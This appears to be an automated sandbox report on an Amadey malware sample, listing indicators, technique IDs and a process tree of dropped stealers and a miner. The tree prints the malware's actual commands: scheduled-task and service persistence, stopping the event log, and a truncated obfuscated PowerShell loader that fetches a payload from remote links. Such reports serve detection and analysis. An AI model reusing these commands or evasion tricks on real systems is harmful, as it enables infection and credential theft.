amadey | 4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe

UPX dump on OEP (original entry point) 17 IoCs

resource	yara_rule
behavioral2/memory/3872-952-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-953-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-965-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-966-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-954-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-950-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-969-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-971-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-977-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-978-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-981-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-1033-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-1034-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-1094-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-1095-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-1096-0x0000000140000000-0x0000000140848000-memory.dmp	UPX
behavioral2/memory/3872-1097-0x0000000140000000-0x0000000140848000-memory.dmp	UPX

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral2/memory/3872-965-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-966-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-969-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-971-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-977-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-978-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-981-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-1033-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-1034-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-1094-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-1095-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-1096-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/3872-1097-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

flow	pid	Process
105	5036	rundll32.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	explorgu.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe	RegAsm.exe

Executes dropped EXE 12 IoCs

pid	Process
4524	explorgu.exe
4196	phonesteal.exe
2304	daisy123.exe
888	lumma123142124.exe
4804	qjhfdjsafsaf.exe
4516	InstallSetup3.exe
3996	BroomSetup.exe
1676	qjhfdjsafsaf.exe
4572	qemu-ga.exe
1952	FileAk.exe
1624	vzxmpncsktsu.exe
4180	father1.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Software\Wine	4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe
Key opened	\REGISTRY\USER\S-1-5-21-3316742141-2240921845-2885234760-1000\Software\Wine	explorgu.exe

Loads dropped DLL 23 IoCs

pid	Process
4516	Process not Found
2980	rundll32.exe
5036	rundll32.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
4516	Process not Found

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 18 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3872-940-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-952-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-953-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-965-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-966-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-954-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-950-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-969-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-971-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-977-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-978-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-981-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-1033-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-1034-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-1094-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-1095-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-1096-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/3872-1097-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7166	raw.githubusercontent.com
7173	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6604	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5012	4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe
4524	explorgu.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2304 set thread context of 2984	2304	daisy123.exe	102
PID 888 set thread context of 2532	888	lumma123142124.exe	103
PID 1624 set thread context of 3872	1624	vzxmpncsktsu.exe	128

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\explorgu.job	4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3812	sc.exe
748	sc.exe
3152	sc.exe
4352	sc.exe

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x0006000000023229-131.dat	pyinstaller
behavioral2/files/0x0006000000023229-842.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
1796	2532	WerFault.exe	103
3352	1868	WerFault.exe	137

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4880	schtasks.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
5996	reg.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
5012	4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe
5012	4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe
4524	explorgu.exe
4524	explorgu.exe
2984	RegAsm.exe
5036	rundll32.exe
5036	rundll32.exe
5036	rundll32.exe
5036	rundll32.exe
5036	rundll32.exe
5036	rundll32.exe
4196	phonesteal.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
1676	qjhfdjsafsaf.exe
4196	phonesteal.exe
4196	phonesteal.exe
4196	phonesteal.exe
1624	vzxmpncsktsu.exe
5036	rundll32.exe
5036	rundll32.exe
5036	rundll32.exe
5036	rundll32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	RegAsm.exe
Token: SeDebugPrivilege	1676	qjhfdjsafsaf.exe
Token: SeDebugPrivilege	1952	FileAk.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3996	BroomSetup.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4524 wrote to memory of 4196	4524	explorgu.exe	96
PID 4524 wrote to memory of 4196	4524	explorgu.exe	96
PID 4524 wrote to memory of 2304	4524	explorgu.exe	97
PID 4524 wrote to memory of 2304	4524	explorgu.exe	97
PID 4524 wrote to memory of 2304	4524	explorgu.exe	97
PID 4524 wrote to memory of 888	4524	explorgu.exe	99
PID 4524 wrote to memory of 888	4524	explorgu.exe	99
PID 4524 wrote to memory of 888	4524	explorgu.exe	99
PID 2304 wrote to memory of 2960	2304	daisy123.exe	101
PID 2304 wrote to memory of 2960	2304	daisy123.exe	101
PID 2304 wrote to memory of 2960	2304	daisy123.exe	101
PID 2304 wrote to memory of 2984	2304	daisy123.exe	102
PID 2304 wrote to memory of 2984	2304	daisy123.exe	102
PID 2304 wrote to memory of 2984	2304	daisy123.exe	102
PID 2304 wrote to memory of 2984	2304	daisy123.exe	102
PID 2304 wrote to memory of 2984	2304	daisy123.exe	102
PID 2304 wrote to memory of 2984	2304	daisy123.exe	102
PID 2304 wrote to memory of 2984	2304	daisy123.exe	102
PID 2304 wrote to memory of 2984	2304	daisy123.exe	102
PID 888 wrote to memory of 2532	888	lumma123142124.exe	103
PID 888 wrote to memory of 2532	888	lumma123142124.exe	103
PID 888 wrote to memory of 2532	888	lumma123142124.exe	103
PID 888 wrote to memory of 2532	888	lumma123142124.exe	103
PID 888 wrote to memory of 2532	888	lumma123142124.exe	103
PID 888 wrote to memory of 2532	888	lumma123142124.exe	103
PID 888 wrote to memory of 2532	888	lumma123142124.exe	103
PID 888 wrote to memory of 2532	888	lumma123142124.exe	103
PID 888 wrote to memory of 2532	888	lumma123142124.exe	103
PID 4524 wrote to memory of 4804	4524	explorgu.exe	106
PID 4524 wrote to memory of 4804	4524	explorgu.exe	106
PID 4524 wrote to memory of 4516	4524	explorgu.exe	107
PID 4524 wrote to memory of 4516	4524	explorgu.exe	107
PID 4524 wrote to memory of 4516	4524	explorgu.exe	107
PID 4516 wrote to memory of 3996	4516	Process not Found	108
PID 4516 wrote to memory of 3996	4516	Process not Found	108
PID 4516 wrote to memory of 3996	4516	Process not Found	108
PID 4524 wrote to memory of 2980	4524	explorgu.exe	109
PID 4524 wrote to memory of 2980	4524	explorgu.exe	109
PID 4524 wrote to memory of 2980	4524	explorgu.exe	109
PID 4804 wrote to memory of 1676	4804	qjhfdjsafsaf.exe	111
PID 4804 wrote to memory of 1676	4804	qjhfdjsafsaf.exe	111
PID 2980 wrote to memory of 5036	2980	rundll32.exe	110
PID 2980 wrote to memory of 5036	2980	rundll32.exe	110
PID 5036 wrote to memory of 2520	5036	rundll32.exe	112
PID 5036 wrote to memory of 2520	5036	rundll32.exe	112
PID 1676 wrote to memory of 1872	1676	qjhfdjsafsaf.exe	116
PID 1676 wrote to memory of 1872	1676	qjhfdjsafsaf.exe	116
PID 2984 wrote to memory of 4572	2984	RegAsm.exe	115
PID 2984 wrote to memory of 4572	2984	RegAsm.exe	115
PID 4524 wrote to memory of 1952	4524	explorgu.exe	119
PID 4524 wrote to memory of 1952	4524	explorgu.exe	119
PID 1624 wrote to memory of 3872	1624	vzxmpncsktsu.exe	128
PID 1624 wrote to memory of 3872	1624	vzxmpncsktsu.exe	128
PID 1624 wrote to memory of 3872	1624	vzxmpncsktsu.exe	128
PID 1624 wrote to memory of 3872	1624	vzxmpncsktsu.exe	128
PID 1624 wrote to memory of 3872	1624	vzxmpncsktsu.exe	128
PID 3996 wrote to memory of 5012	3996	BroomSetup.exe	135
PID 3996 wrote to memory of 5012	3996	BroomSetup.exe	135
PID 3996 wrote to memory of 5012	3996	BroomSetup.exe	135
PID 4524 wrote to memory of 4180	4524	explorgu.exe	129
PID 4524 wrote to memory of 4180	4524	explorgu.exe	129
PID 4524 wrote to memory of 4180	4524	explorgu.exe	129
PID 5012 wrote to memory of 3396	5012	cmd.exe	133
PID 5012 wrote to memory of 3396	5012	cmd.exe	133

C:\Users\Admin\AppData\Local\Temp\4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe
"C:\Users\Admin\AppData\Local\Temp\4b44ce9da2d83d7fbd6238e6350ab35ec8a49b7a286c5270a299aaf41a5568dd.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
PID:5012
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
  2⤵
  - Creates scheduled task(s)
  PID:4880
- C:\Windows\SysWOW64\chcp.com
  chcp 1251
  2⤵
  PID:3396

C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Users\Admin\AppData\Local\Temp\1000649001\phonesteal.exe
  "C:\Users\Admin\AppData\Local\Temp\1000649001\phonesteal.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4196
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "THYAWYFT"
    3⤵
    - Launches sc.exe
    PID:3812
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "THYAWYFT" binpath= "C:\ProgramData\mkiurbjjkopl\vzxmpncsktsu.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:748
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "THYAWYFT"
    3⤵
    - Launches sc.exe
    PID:3152
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:4352
- C:\Users\Admin\AppData\Local\Temp\1000650001\daisy123.exe
  "C:\Users\Admin\AppData\Local\Temp\1000650001\daisy123.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2304
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2960
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"
      4⤵
      Executes dropped EXE
      PID:4572
- C:\Users\Admin\AppData\Local\Temp\1000651001\lumma123142124.exe
  "C:\Users\Admin\AppData\Local\Temp\1000651001\lumma123142124.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:888
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:2532
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2532 -s 808
      4⤵
      Program crash
      PID:1796
- C:\Users\Admin\AppData\Local\Temp\1000653001\qjhfdjsafsaf.exe
  "C:\Users\Admin\AppData\Local\Temp\1000653001\qjhfdjsafsaf.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Users\Admin\AppData\Local\Temp\1000653001\qjhfdjsafsaf.exe
    "C:\Users\Admin\AppData\Local\Temp\1000653001\qjhfdjsafsaf.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:1872
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "cmd /c start "" /min "C:\Users\Admin\AppData\Roaming\run.vbs""
      4⤵
      PID:5204
    - - C:\Windows\system32\cmd.exe
        
        cmd /c start "" /min "C:\Users\Admin\AppData\Roaming\run.vbs"
        5⤵
        
        PID:5424
      - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\run.vbs"
        6⤵
        
        PID:5700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTrecwBoDgTreHUDgTreZgBmDgTreGwDgTreZQBkDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBHDgTreGUDgTredDgTreDgTretDgTreFIDgTreYQBuDgTreGQDgTrebwBtDgTreCDgTreDgTreLQBJDgTreG4DgTrecDgTreB1DgTreHQDgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTrecgBlDgTreHQDgTredQByDgTreG4DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCDgTreDgTrefQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreQDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTrezDgTreDkDgTreLwDgTreyDgTreDIDgTreNwDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMDgTreDgTre3DgTreDgDgTreMgDgTre2DgTreDIDgTreMgDgTreyDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreDgTre6DgTreC8DgTreLwDgTre0DgTreDUDgTreLgDgTre3DgTreDQDgTreLgDgTrexDgTreDkDgTreLgDgTre4DgTreDQDgTreLwB4DgTreGEDgTrebQBwDgTreHDgTreDgTreLwBiDgTreGsDgTrecDgTreDgTrevDgTreHYDgTreYgBzDgTreF8DgTrebgBvDgTreHYDgTrebwBfDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDg